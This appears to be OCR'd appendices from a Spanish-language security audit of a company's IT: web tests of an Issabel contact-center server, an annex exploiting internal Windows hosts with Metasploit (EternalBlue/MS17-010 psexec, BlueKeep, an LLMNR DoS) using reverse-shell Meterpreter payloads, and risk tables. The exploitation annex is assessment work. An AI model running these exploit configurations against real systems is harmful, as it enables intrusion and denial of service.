help css 2018-10-02 08:52 359
% ic.css 2018-10-02 08:52 192
(O3 images’ 2019-12-09 17:53

(e REX 2019-12-09 17:53 -
login_styles.css 2018-10-02 08:52 20K
rightbar.css 2018-10-02 08:32 1.2K
23 seript/ 2019-12-09 17:33 -
stvles css 2018-10-02 08:52 32K
table.css 2018-10-02 08:32 63K
themesetup.php 2018-10-02 08:52 76K
widgets.css 2018-10-02 08:52 483




Vulnerabilidad
Prueba de credenciales por defecto INFORMACION

Descripcion:
En la actualidad las aplicaciones web a menudo hacen uso de software de cédigo abierto o
comercial, que puede ser instalado en servidores con configuraciones minimas, a menudo
estas aplicaciones, una vez instaladas, no estdn configuradas correctamente y las
credenciales predeterminadas proporcionadas para la autenticacion inicial y configuracion
nunca son cambiadas, en ese sentido se probaron diferentes usuarios como admin, system,
root, etc y contrasefias como password, pass123, admin, entre otras, para determinar si la
aplicacion tenia cuentas por defecto, encontrando que no existen vulnerabilidades de este
tipo en la aplicacion web de contac center.
Activo Afectado:

e Ninguno

Herramientas:
e Google

Vulnerabilidad Severidad
Prueba para determinar un mecanismo de bloqueo débil
Descripcion:
Los mecanismos de bloqueo se utilizan para mitigar los ataques de fuerza bruta o adivinanza
de contrasefias. Las cuentas se deben bloquear normalmente después de tres a cinco
intentos de inicio de sesion sin éxito y solo deben ser desbloqueadas después de un periodo
de tiempo determinado. Los mecanismos de bloqueo requieren un equilibrio entre la
proteccion de cuentas de acceso no autorizado y proteger a los usuarios de una negativa al
acceso autorizado.
Al realizar la prueba se evidencio que la aplicacién no se bloguea después de N intentos,
esto le facilitaria el trabajo a un atacante, ya que podria utilizar herramientas de fuerza bruta
sin tener impedimentos.
Activo Afectado:

e Servidor Contac center

Herramientas:
e Google

Recomendaciones:
e Implementar esquemas de bloqueo o captchas en la aplicacion web.

e Aplicar mecanismos de bloqueo a IPs que cometan errores sucesivos en la
autenticacion.




Severidad

Vulnerabilidad
Prueba de Politicas de Contrasefas Débiles

ALTA

Descripcion:
En esta prueba se verifica que controles o politicas ejerce la aplicacion acerca del
establecimiento de contrasefias. Las contrasefias seguras son de vital importancia para
mantener la seguridad dentro de una aplicacion, ya que una contrasefia débil o facilmente
adivinable puede darle acceso al sistema a un atacante sin mayor esfuerzo.
Al realizar la prueba se encontré que no existen politicas de contrasefias seguras en la
aplicacién web, contrasefias como “emtel1234” o un nombre son validas para ingresar al
sistema, esto es un riesgo para la empresa, ya que un atacante puede vulnerar la
confidencialidad de los datos, probando claves sencillas que le pueden dar acceso a la
aplicacion.
Herramientas:

e Mozilla Firefox

Recomendaciones:
e Implementar una politica de contraseflas que permita asegurar la longitud,

complejidad y caducidad de la contrasefia.

Activo Afectado:
e Servidor Contac center

1 Issabel X MNueva pestaia K| +

¢ 5 C A Noessqro | [ ¥ 24060 xD:

:+* |ssabel

Dashboard / Dashboard

Bisqueda de madulos f Sistema

D Sistema
Dashboard
CPU b SWAP ‘ d | servidor Telefonico ACTIVO ‘ - ‘
Dashboard
‘ (‘ Servidor de Mensajeria Instantdnea NO INSTALADO ‘ ‘
Administrador de Applets 28 68 1 -
‘ 1 | Servidor de Fax ACTIVO ‘ - ‘
Red —
. % | Servidor de Correo ACTIVO v ‘
Usuarios ~.
Apagar ‘ ’ Servidor de Base de Datos ACTIVO ‘ - ‘
L cpu: AMD Turion(tm) I Neo NS4L Dual-Core Proce
[ T — Tiempo de Actividad: 5 dias(s) 15 horas(s) 59 minutos(s) ‘ w Servidor Web ACTIVO | - ‘
Velocidad CPU: 2,196.34 MHz
- —— (] |servidor CaliCenter Issabel ACTIVO -
Actualizaciones Memoria Utilizada: RAM: 991.56 Mb SWAP: 2,945.00 Mb ‘:)r_{
Respaldar/Restaurar
Preferencias
700 1
W 93% Usado | 7% Disponible am. Sim.
b SMS ‘ ’ ’ | 100 MlUso CPU (%)
Capacidad de disco duro: 55.69GB £ MUso mem. (ME) | 125
& Agenda Punto de montaje: / 500
Fabricante: VBOX HARDDISK T 15 10.0
& Comeo FHectrénico 400
300~ “l 1 ‘lllll M

- o 5 e g 1:06 p. m.
58 O Escribe aqui para buscar m ﬂ [ ) e : G 9 i A O E ) Esp 30’,‘};23121 y




Vulnerabilidad Severidad

Prueba de Atributos de Cookies

Descripcion:

Debido a la importancia de las sesiones dentro de una aplicacion, es importante analizar el
componente principal de estas sesiones. Las cookies, estas guardan informacion importante
de la sesion en el lado del cliente, por ejemplo, preferencias, nivel de autorizacion,
credenciales, etc. Por esto se debe garantizar la seguridad de estas, mediante el uso de
canales de comunicacion cifrados. Por otra parte, las cookies de sesion deben ser
impredecibles y ademas deben tener las opciones de seguridad provistas por Frameworks y
navegadores para tener una mayor seguridad ante posibles ataques o secuestros de sesidn
Activo Afectado:

e Servidor Contac center

Herramientas:
e Mozilla Firefox
e EditThisCookie (Chrome)

Recomendaciones:
e Especificar cookies de tipo HTTP Only, este atributo ayuda a proteger a la cookie del

acceso de un script del lado del cliente.

e Cookies de sesion de al menos 50 caracteres.

e Cada vez que una cookie contiene informacién sensible, siempre debe ser enviada
mediante un canal cifrado, por eso después de iniciar sesion en una aplicacién una
cookie siempre debe estar etiquetada con la bandera de seguridad (atributo seguro

= X

e miBA'eBBEEB M B (M|e|@B'E |eeB (BB B|E B8] 1x +

o
&« C A Noesseguro _ # (@ ﬁ @ ® @2 » @ :
+ + = Q &

:*’ Issabel

~ 192.168.2.13 | issabelSession

valor
Biisqueda de médulos p8elvtesalng49gau6fed6shss

o

» Call Center

Consola de Agente

Por favor § 192.168.2.13
Ruta

Dominio

D Historia

Nimero

/
Caducidad
Fri Apr 22 2022 14:14:44 GMT-0500 (hora estandar de Colombia)

SameSite
Callback | | v‘

hostonly |« sesién v Seguro httpOnly

v Ayuds

Issabel GPL.

215p.m.

SR © Escribe aqui para buscar - ﬁ D na [ & Cc 3 A B e e e %)

Como se puede observar los datos de las cookies en la aplicacion no cumplen con las
recomendaciones necesarias para considerarla segura, lo que implica que pueden ser
atacadas mediante analisis criptogréfico y de cookies.




Vulnerabilidad

Pruebas de Fijacién de Sesiones
Descripcion:
Es importante renovar las cookies de sesion después de que un usuario se autentique
correctamente debido a que si se mantiene la misma cookie que se tenia antes de la
autenticacion, un atacante podria encontrar una vulnerabilidad en la fijacion de sesiones y
forzar a un usuario a usar una cookie predeterminada y cuando este se autentique secuestrar
Su sesion.
Activo Afectado:

e Servidor Contac center

Herramientas:
e BurpSuite
Recomendaciones:
e Renovar las cookies de sesion después de una autenticacion exitosa.

L Forward J l Drop J | Intercept is on 'l Action J L Open Browser J

_J Raw T Farams T Headers T Hex ]

GET /

' Host:

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8

» Accept -Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Connection ~loze

A Cookie: 1253t 8rhamélqcStat3t3m0 I

9 - L

W W ke

Cookie de seccion antes de la autenticacion

Request

_J Raw T Params T Headers T Hex ]

1 POST J HTTR/1.1
Z Host:
3 User-Agent: Mozillas/5.0 (¥11; Linux x8& &4; rv:G68.0] Gecko /20100101 Firefox/68.0
4 Accept: textshtml,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
5 Accept-Language: en-US,en);g=0.5
5 Accept-Encoding: gzip, deflate
7 Referer:
2 Content-Type: application/x-www-form-urlencoded
S Content-Length: 47
10 Coppection: close

li Cookie: issabelSession=mgpg]23t9rham&lgcStat3t3Im0 I
1Z - SReqests: 1

13
14 input_user=prusha&input_pass=1234&submit_login=

Cookie de seccion durante la autenticacion




Vulnerabilidad Severidad
Pruebas de Timeout de Sesion BAJA

Descripcion:
En esta prueba, se mide el tiempo en el cual la sesion se termina automéaticamente debido a
inactividad. En caso de aplicaciones que no manejan datos importantes, como blogs o sitios
de opinidn, no es necesario tener timeouts cortos, sin embargo, en sitios con funciones
administrativas es importante establecer timeouts de maximo 15 minutos debido a que otra
persona podria usar la sesion, si el usuario no se encuentra en el momento.
Al realizar la prueba se dedujo que la aplicacién tiene timeouts de mas de media hora
Activo Afectado:

e Servidor Contac center

Herramientas:
e Google

Recomendaciones:
e Establecer timeouts de maximo 15 minutos para la aplicacion




ANEXO H

EXPLOTACION DE VULNERABILIDADES EN ACTIVOS DE INFORMACION
CON METASPLOIT

Teniendo en cuenta el sistema operativo del activo evaluado se hace busqueda del
exploit que permita explotar la vulnerabilidad.

Vulnerabilidades a explotar

e CVE-2017-0143
e CVE-2011-0657
e CVE-2019-0708

=[ metasploit v5.0.101-dev 1
[ 2049 exploits - 1108 auxiliary - 344 post 1
=[ 562 payloads - 45 encoders - 10 nops 1
=[ 7 evasion 1

Metasploit tip: You can upgrade a shell to a Meterpreter session on many platforms using sessions -u <session_id>

msf5 > search CVE:2017-0143

Matching Modules

Name Disclosure Date Rank Check Description

auxiliary/admin/smb/ms17_010_command 2017-03-14 normal  No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Ex|
auxiliary/scanner/smb/smb_ms17_010 normal MS17-210 SMB RCE Detection

exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_wing 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Wing+
exploit/windows/smb/ms17_010_psexec 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execu
exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great SMB DOUBLEPULSAR Remote Code Execution

seleccion del exploit para la vulnerabilidad CVE 2017-0143

msf5 > search CVE-2011-0657

Matching Modules

# Name Disclosure Date Rank Check Description

@ auxiliary/dos/windows/1lmnr/ms11_03@_dnsapi 2011-04-12 normal No Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS

seleccion del exploit para la vulnerabilidad CVE 2011-0657

Matching Modules

#
) xiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05- norm: res c 788 [BlueKeep Microsoft Remote Desktop RCE Check
1 windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 s = 708 BlueKeep RDP Remote Windows Kernel Use After Free

seleccion del exploit para la vulnerabilidad CVE 2019-0708

Seguidamente se configura el framework de explotacion como se muestra en las
siguientes figuras, parametrizando cada una de las opciones de ataque de
metasploit de acuerdo con la vulnerabilidad encontrada y la version del sistema
operativo, este ejercicio se realizo para cada uno de los host objetivos.



msf5 exploit(windows/smb/ms17_010_psexec) > show options
options (exploit/windows/smb/ms17_010_psexec):

curr. Setting Required Description

DBGTRACE false
LEAKATTEMPTS 99
NAMEDPIPE
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt K
192.168.2.155 es o ¢ entifier, or hosts file with syntax 'f
= Th

4 to (leave blank for auto)

ADMINS : 3 in share (ADMINS,C$, ...) or a nor
5 cation
SMBUSer The username to authenticate

Payload options (windows/me
Name se e Description

EXITFUNC read Exit technique (Accepted: '‘, seh, thread, process, none)
LHOST The listen address (an interface may be specified)
LPORT ahhh es The listen port

rhost = 192.168.2.119
msf5 auxiliary(dos/windows/llmnr/ms11_030_dnsapi) > show options

Module options (auxiliary/dos/windows/1lmnr/ms11_030_dnsapi):

Name Current Setting Required Description
RHOSTS 192.168.2.119 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5355 yes The target port (UDP)

Configuracion del framework de explotacién para la vulnerabilidad CVE 2011-0657

msf5 exploit(windows/rdp/cve_2019_8708_bluekeep_rce) > set rhost 192.168.2.119
rhost = 192.168.2.119
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):
Name Current Setting Required Description

RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect

RDP_CLIENT_NAME ethdev The client computer nmame to report during connect, UNSET = random

RDP_DOMATN The client domain name to report during connect

RDP_USER The username to report during connect, UNSET = random

RHOSTS 192.168.2.119 y The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>’
RPORT 3389 y The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.2.184 yes The listen address (an interface may be specified)
LPORT Lihh yes The listen port

Configuracion del framework de explotacion para la vulnerabilidad CVE 2019-0708

Posteriormente se lanza el exploit ya configurado contra el host objetivo, obteniendo
como resultado en algunos casos una sesion de meterpreter abierta y en otros una
sesion no creada como se muestra en las siguientes figuras

msf5 exploit(windows/smb/ms17_@1@_psexec) > run

Started reverse TCP handler on 192.168.2.184: 4444

192.168.2.155:445 - Target 0S: Windows 7 Professional 7601 Service Pack 1
192.168.2.155:445 - Built a write-what-where primitive...
192.168.2.155:445 - Overwrite complete... SYSTEM session obtained!

192.168.2.155:445 - Selecting PowerShell target
192.168.2.155:445 - Executing the payload...
102.168.2.155:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (176195 bytes) to 192.168.2.155
[*] Meterpreter session 1 opened (192.168.2.184:4444 — 192.168.2.155:52767) at 2020-10-15 12:43:18 -0500

meterpreter > sessions -1

Sesién abierta en computador de escritorio IP 192.168.2.155



msf5 exploit(windows/smb/ms17_010_psexec) > run

Started reverse TCP handler on 192.168.2.184: 4444
192.168. D:445 - Target 0S: Windows 8.1 Pro 9600
192.168. D:445 - Built a write-what-where primitive...

192.168. D:445 - Selecting PowerShell target

192.168. D:445 - Executing the payload...

192.168.2.60:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (176195 bytes) to 192.168.2.60

Meterpreter session 1 opened (192.168.2.184:4444 — 192.168.2.60:50393) at 2020-10-22 11:25:29 -0500

2
2.
192.168.2.60:445 - Overwrite complete... SYSTEM session obtained!
2
2

meterpreter > session 1

Sesién abierta en computador de escritorio IP 192.168.2.60

msf5 exploit(windows/smb/ms17_010_psexec) > run

Started reverse TCP handler on 192.168.2.184: 4444

192.168.1.160: 445 Target 0S: Windows Vista (TM) Business 6002 Service Pack 2

192.168.1.160:445 - Filling barrel with fish... done

192.168.1.160:445 - ¢«————— | Entering Danger Zone | ———8M

192.168.1.160: 445 [*] Preparing dynamite...

192.168.1.160: 445 [*] Trying stick 1 (x86) ... Boom!

192.168.1.160: 445 [+] Successfully Leaked Transaction!

192.168.1.160: 445 [+] Successfully caught Fish-in-a-barrel

192.168.1.160:445 - ¢————— | Leaving Danger Zone | ——
192.168.1.160:445 - Reading from CONNECTION struct at: 0=8e9cc59@

192.168.1.160:445 - Built a write-what-where primitive...

192.168.1.160:445 - Overwrite complete... SYSTEM session obtained!

192.168.1.160:445 - Selecting PowerShell target

192.168.1.160:445 - Executing the payload...

192.168.1.160:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (176195 bytes) to 190.5.195.113

Meterpreter session 1 opened (192.168.2.184:4444 — 100.5.195.113:52566) at 2020-10-26 10:52:21 -0500

. D&.L. . B a Vv
192.168.2.119:445 - Trying exploit with 17 Groom Allocations.
192.168.2.119:445 - Sending all but last fragment of exploit packet
192.168.2.119:445 - Starting non-paged pool grooming
192.168.2.119:445 - Sending SMBv2 buffers
192.168.2.119:445 - Closing SMBvl connection creating free hole adjacent to SMBv2 buffer.
192.168.2.119:445 - Sending final SMBv2 buffers.
192.168.2.119:445 - Sending last fragment of exploit packet!
192.168.2.119:445 - Receiving response from exploit packet
192.168.2.119:445 - ETERNALBLUE overwrite completed successfully (©xCeoeeeeD)!
192.168.2.119:445 - Sending egg to corrupted connection.
192.168.2.119:445 - Triggering free of corrupted buffer.
Sending stage (201283 bytes) to 192.168.2.119
Meterpreter session 1 opened (192.168.2.184:4444 — 192.168.2.119:59819) at 2020-10-22 12:49:21 -0500

Sesion abierta en computador de escritorio IP 192.168.2.119



msf5 auxiliary(dos/windows/11lmnr/ms11_030_dnsapi) > run
[*#] Running module against 192.168.2.119

[*] sending Ipvé LLMNR query to 192.168.2.119

[*] sending Ipv4 LLMNR query to 192.168.2.119

[*] Note, in a default configuration, the service will restart automatically twice.
[#] In order to ensure it is completely dead, wait up to 5 minutes and run it again.
[*] Auxiliary module execution completed

Sesion NO creada

msf5 exploit(windows/rdp/cve_2019_o708_bluekeep_rce) > run

Started reverse TCP handler on 192.168.2.184:4444
192.168.2.119:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check

192.168.2.119:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
192.168.2.119:3389 - Scanned 1 of 1 hosts (100% complete)

192.168.2.119:3389 - Exploit aborted due to failure: bad-config: Set the most appropriate target manually. If you are targe
Exploit completed, but no session was created.

Sesion NO creada



ANEXO |

EVALUACION DEL RIESGO PARA LOS ACTIVOS DE INFORMACION DEL PROCESO
DE TI



ID DEL
RIESGO

R1

R2

R3

R4

RS

R6

RY

R8

R

R10

ACTIVO

OPEN FLEXIS

RIESGO

Apceso de usuarios no
autorizados debido a que
no se finalizd seccion en
la plataforma tecnologica

CONSECUENCIA

Robo de informacion
Acceso a informacion no
autorizada Divulgacion
o  modificacion  de
informacion  por parte
del personal interno

PROBAEILIDAD

Posible

IMPACTO

Menar

ZONA DE
RIESGO

Moderado

TRATAMIENTO

Asumir

Error en el uso de la
plataforma  tecnoldgica
debido a que la interfaz de
usuario es compleja y
obsoleta

Datos incorrectos de
clientes (informacion
personal, plan de

suscripcion etc)

Probable

Menor

Reducir

Error  en el
configuracion
funcionamiento de la
plataforma debido a la
falta de documentacion

uso

Indisponibilidad de la
plataforma tecnologica
Demaora en los procesos
administrativos que
soporta la plataforma
tecnologica

Prabable

Moderado

Reducir

Error en el uso debido a
que no se configura
correctamente los
parémetros de la
platafarma

Datos
clientes
personal,
suscripeion)

incorrectos  de
(informacion
plan de

Posible

Menar

Moderado

Asumir

Atague informatico
aprovechando que no se
realiza monitorec de los
registros logs que
permitan detectar
debilidades de sequridad

Indisponibilidad de la
plataforma tecnoldgica,
fuga de informacion

Improbable

Mayor

Reducir

Falsificacion de derechos
de usuario debido a la
deficiente  gestion de
contrasefias

Robo de informacion
Acceso a informacion no
autorizada

Posible

Mayar

AcCceso a permisos no
autorizados debido a la
falta de asignacion de
perfiles de acuerdo al rol
que desempenan

Robo de informacion
Acceso a informacion no
autorizada

Casi seguro

Mayor

Mal funcionamiento del
software debido a la
ausencia eficaz de
cambios

Indisponibilidad de la
plataforma tecnologica
Demora en los procesos
administrativos que
soporta la plataforma
tecnaolagica

Posible

Maoderado

Reducir

Reducir

Reducir

Ataque informatico
aprovechando
vulnerabilidades de la

plataforma tecnologica

Indisponibilidad de la
plataforma tecnoldgica,
fuga de informacion

Improbable

Mayor

Reducir

Manejo inadecuado de
incidentes

Indisponibilidad de la
plataforma tecnologica

Posible

Maoderado

Reducir




ID DEL
RIESGO

R11

R12

R13

R14

R15

R16

R17

R18

R19

ACTIVO

APOTEOSYS

RIESGO

Acceso de usuarios no
autorizados debido a que
no se finalizd seccion en
|a plataforma tecnoldgica

CONSECUENCIA

Robo de informacion
Acceso a informacion no
autorizada Divulgacion
o modificacion  de
informacién por parte
del personal interno

PROBABILIDAD

Probable

IMPACTO

Maderado

ZONA DE
RIESGO

TRATAMIENTO

Reducir

Error en el uso de la
plataforma  tecnologica
debido a que la interfaz de
usuario es compleja

Datos incorrectos en los
procesos administrativos
que son soportados en
la plataforma
tecnoldgica

Probable

Moderado

Reducir

Error  en el
configuracion
funcionamiento de la
plataforma debido a la
falta de documentacidn

uso

Indisponibilidad de la
plataforma tecnoldgica
Demora en los procesos
administrativos que
soporta la  plataforma
tecnologica

Probable

Moderado

Reducir

Error en el uso debido a
que no se configura
correctamente los
parametros de la
plataforma

Datos incorrectos en los
procesos administrativos
que son soportados en
la plataforma
tecnoldgica

Improbable

Moderado

Moderado

Asumir

Alague infarmatico
aprovechando que no se
realiza monitoreo de los
registros  logs  que
permitan detectar
debilidades de seguridad

Indisponibilidad de la
plataforma tecnologica,
fuga de informacion

Improbable

Mayor

Falsificacion de derechos
de usuaro debido a la
deficiente  gestion  de
contrasefias

Robo de informacidn
Acceso a informacian no
autorizada

Probable

Mayor

Acceso & permisos no
autorizados debido a la
falla de asignacion de
perfiles de acuerdo al rol
que desempefan

Robo de informacion
Acceso a informacian no
autorizada

Casi seguro

Mayor

Ataque informatico
aprovechando
vulnerabilidades de la

plataforma tecnologica

Indisponibilidad de la
plataforma tecnologica,
fuga de informacion

Improbable

Mayor

Reducir

Reducir

Reducir

Reducir

Manejo inadecuado de
incidentes

Indisponibilidad de la
plataforma tecnologica

Posible

Maderado

Reducir




ID DEL
RIESGO

R20

R21

R22

R23

R24

R25

R26

R27

R28

R29

ACTIVO

PLATAFORMA DE
CONTACT
CENTER

RIESGO

Mal funcionamienta del
software debide a la
ausencia eficaz  de
cambios

CONSECUENCIA

Indisponibilidad de la
plataforma tecnologica
Demora en los procesos
administrativos que
soporta la plataforma
tecnologica

PROBAEILIDAD

Posible

IMPACTO

Moderado

ZONA DE
RIESGD

TRATAMIENTO

Reducir

Acceso de usuarios no
autorizados debido a que
no se finalizd seccion en
la plataforma tecnoldgica

Robo de informacion
Acceso a informacion no
gutorizada Divulgacion
o  modificacion  de
informacion  por parte
del personal interno

Posible

Menar

Moderado

Asumir

Error en el uso en la
configuracion
funcionamiente de la
plataforma debido a la
falta de documentacion

Indisponibilidad de la
plataforma tecnologica

y Demora en los procesos

administrativos que
soporta la plataforma
tecnologica

Posible

Moderado

Reducir

Error en el uso debido a
que no se configura
correctamente los
parametros de la
plataforma

Datos incorrectos en los
procesos administrativos
que son soportados en
la plataforma
tecnologica

Improbable

Moderado

Moderado

Asumir

Error en la plataforma o
desconocimiento de esta
debido & que no se
realizaron pruebas de
software, antes de llevarla
a produccion

Demora en los procesos
administrativos que
soporta la plataforma
tecnologica

Posible

Menor

Moderado

Asumir

Falsificacion de derechos
de usuario debido a la
deficiente  gestion de
contrasenas

Robo de informacion
Acceso a informacion no
autorizada

Probable

Moderado

Reducir

Ataque informatico
aprovechando que no se
realiza monitoreo de los
registros logs que
permitan detectar
debilidades de seguridad

Indisponibilidad de la
plataforma tecnologica,
fuga de informacion

Improbable

Mayor

Reducir

Acceso a permisos no
autorizados debido a la
falta de asignacion de
perfiles de acuerdo al rol
que desempefian

Robo de informacion
Acceso a informacion no
autorizada

Rara vez

Mayor

Reducir

Ataque informatico
aprovechando
vulnerabilidades de la

plataforma tecnologica

Indisponibilidad de la
plataforma tecnoldgica,
fuga de informacion

Improbable

Mayor

Reducir

Manejo inadecuado de
incidentes

Indisponibilidad de la
plataforma tecnoldgica

posible

Moderado

Reducir




ID DEL
RIESGO

R30

R31

R32

Ra3

R34

ACTIVO

DOC4Us

RIESGO

Acceso de usuarios no
autorizados debido a que
no se finalizd seccion en
la plataforma tecnoldgica

CONSECUENCIA

Robo de informacion
Acceso a informacion no
autorizada Divulgacion
0 modificacion  de
informacion por parte
del personal interno

PROBABILIDAD

Improbable

IMPACTO

Menar

ZONA DE
RIESGO

Baja

TRATAMIENTO

Asumir

Error en €l uso en la
configuracion y
funcionamiento de la
plataforma debido a la
falta de documentacion

Indisponibilidad de la
plataforma tecnologica
Demara en los procesos
que depende de la
plataforma tecnoldgica

Posible

Menar

Moderado

Reducir

Falsificacion de derechos
de usuario debido a la
deficiente  gestion  de
contrasenas

Robo de informacidn
Acceso a informacion no
autorizada

Probable

Moderado

Reducir

Ataque informatico
aprovechando gue no se
realiza monitoreo de los
registros logs que
permitan detectar
debilidades de seguridad

Indisponibilidad de la
plataforma tecnologica,
fuga de informacion

Improbable

Moderado

Moderado

Asurmir

Acceso a permisos no
autorizados debido a la
falta de asignacion de
perfles de acuerdo al rol
que desempenan

Robo de informacion
Acceso a informacion no
autorizada

Probable

Insignificante

Moderado

Asurmir




D DEL ACTIVO RIESGO CONSECUENCIA PROBAEILIDAD IMPACTO s

RIESGO RIESGO e ——

Mal funcionamiento del
equipo debido a que no

ge realiza periddicamente indisponibilidad del

R35 mantenimiento preventivo equipo Probable Mayor Reducir
‘0 Prevenivo| b rdida de informacion
a los equipos de la
empresa
Mal funcionamiento y uso
de equipos obsoletos|Indisponibilidad del
R36 debido a que no se cuenta |equipo Casi seguro Mayor Reducir
con esguemas de |Perdida de informacion
remplazo periddico
Mal funcionamiento del
zg“'f;mgib'?:jn:‘:; d;‘; Indisponibilidad ~ del
R37 necesarias ara equipo Posible Moderado Reducir
PAM | berdida de informacion
protegerlo contra el polvo,
la humedad y la suciedad
Destruccion del equipol, i o nibilidad  del
debido a wvariaciones de ) .
R38 voltale de eneraia equipo Probable Mayor Reducir
Je 98| perdida de informacion
eléctrica
R39 Fallo del disco duro del|p, 4o de informacién Posible Mayor Reducir
equipo
Robo de documentos
digitales  confidenciales
debido a que en los ) ) )
R40 equipos de la empresa se Robo de informacian Improbable Mayor Alto Reducir
almacena informacion de
manera no segura
COMPUTADOR DE .
Error en &l uso del equipo . _
R41 ESCRITORIO | iohido a la ausencig|ndisPonibilidad —dell —\  hable Menor Baja Asumir
) equipo
eficaz de cambios

Ingreso de codigo
malicioso al equipo
debido a la descarga de
software no licenciado

Indisponibilidad del
equipo Casi seguro Mayor Reducir
Robo de informacion

R42

Robo del equipo debido a
que las instalaciones no
cuenta con proteccion
fisica adecuada

R43 Robo de informacion Improbable Mayor Alto Reducir

Las versiones
actualizadas de software
R44 no funcionan debido a
que los equipos estan
obsoletos

Indisponibilidad del

) Posible Menor Moderado Asumir
equipo

Ingreso de software
malicioso en los equipos|indisponibilidad del
R45 de la empresa debido alequipo casi seguro Mayor
que algunos de estos no|Robo de informacion
cuentan con antivirus

Reducir

Hurto de informacion
almacenada en los
R46 equipos debido a la falta|Robo de informacion Improbable Moderado Moderado Asumir
de cuidado en la
deposicion final

Ataque informatico ) ,
aprovechando fuga de informacion,
Ra7 vulnerabilidades en el ?aecuesml: de Improbable Mayor Alto Asumir
) informacion
equipo
Ataque informatico| fuga de informacion,
R48 aprovechando nuevas|secuestro de Improbable Mayor Alto Asumir

vulnerabilidades informacion




ID DEL
RIESGOD

R49

R50

R&1

R52

R53

R54

R55

R56

R57

R58

ACTVO

SERVIDOR
CONTAC CENTER

RIESGOD

Mal funcionamiento del
equipo debido a que no
se realiza periodicamente
mantenimienta preventive
4 los servidores de la
empresa

CONSECUENCIA

Indisponibilidad del
servidor
Perdida de informacian

PROBABILIDAD

Prabable

IMPACTO

Mayar

Destruccion del equipo
debido a la falta de
controles  fisicos contra
incendios

Indisponibilidad del
equipo
Perdida de infarmacion

Rara vez

Mayar

Mal funcionamiento del
equipo debido a que no
se toman las medidas
necesarias para
protegerlo contra el polvo,
la humedad y la suciedad

Indisponibilidad del
equipo
Perdida de infarmacion

Probable

Mayar

Destruccion  del equipo
debido a variaciones de
voltajge  de  energia
eléctrica

Indisponibilidad del
equipo
Perdida de informacidn

Rara vez

Mayar

ZONA DE
RIESGOD

TRATAMIENTO

Reducir

Reducir

Reducir

Reducir

Error en el uso del equipo
debido a la ausencia de
un control eficaz de
cambios

Indisponibilidad del
equipo

Improbable

Mayar

Baja

Asumir

Fallo en el servicio debido
& que no se cuenta con
equipo de respalda

Indisponibilidad del
servicio

Rara vez

Mayar

Reducir

Dafo en el equipo debido
4 que no se cuenta con un
sistema de monitoreo de
temperatura en el caso en
el que haya una variacion
de esta en el medio
ambiente

Indisponibilidad del
equipo

Rara vez

Mayar

Reducir

Hurte de informacidn
almacenada en el servidor
debido a que no existen
mecanismos de
autenticacion  para el
ingreso  al cuarle de
servidores

Robo de informacion

Improbable

Mayor

Copia de  respaldo
corrupta

Perdida de informacion

Posible

Mayar

Fallo del servidor y no hay
copia de respaldo
actualizada

Perdida de informacion

Posible

Mayor

Reducir

Reducir

Reducir




ID DEL
RIESGO

R58

RE0

Ré1

R62

RE63

Ré4

RE5

RE6

RE7

ACTIVO

SERVIDOR DE
APOTEOSYS

RIESGOD

Mal funcionamiento del
equipo debido a que no
se realiza periodicamente
mantenimiento preventivo
a los servidores de la
empresa

CONSECUENCIA

Indisponibilidad del
servidor
Perdida de informacion

PROBABILIDAD

Probable

IMPACTO

Mayor

Destruccion  del equipo
debido a la falta de
controles  fisicos contra
incendios

Indisponibilidad del
equipo
Perdida de informacian

Rara vez

Mayor

Mal funcionamiento del
equipo debido a que no
se loman las medidas
necesarias para
protegerlo contra &l polvo,
la humedad y la suciedad

Indisponibilidad del
equipo
Perdida de informacion

Probable

Mayar

Destruccion  del equipo
debido & variaciones de
voltaje  de  energia
eléctrica

Indisponibilidad del
equipo
Perdida de informacion

Rara vez

Mayar

ZONA DE
RIESGO

TRATAMIENTO

Reducir

Reducir

Reducir

Reducir

Error en el uso del equipo
debido a la ausencia de
un control eficaz  de
cambios

Indisponibilidad del
equipa

Improbable

Mayor

Baja

Asumir

Fallo en el servicio debido
a que no se cuenta con
equipo de respaldo

Indisponibilidad del
servicio

Probable

Mayar

Reducir

Danao en &l equipo debido
afue no se cuenta con un
sistema de moniloreo de
temperatura en el caso en
el que haya una variacian
de esta en el medio
ambiente

Indisponibilidad del
equipo

Rara vez

Mayor

Reducir

Hurto de informacidn
almacenada en el servidor
debido & que no existen
mecanismos de
autenticacion  para el
ingreso al cuarlo de
servidores

Robo de informacion

Improbable

Mayor

Reducir

Copia de  respaldo
corrupta

Perdida de informacidn

Probable

Mayor




ID DEL
RIESGO

RE8

RES

R70

R71

R72

ACTIVO

SERVIDOR DE
DOC4UsS

RIESGO

Mal funcionamiento del
equipo debido a que no
se realiza periddicamente
mantenimiento preventivo
a los servidores de la
empresa

CONSECUENCIA

Indisponibilidad del
servidor

Perdida de informacion

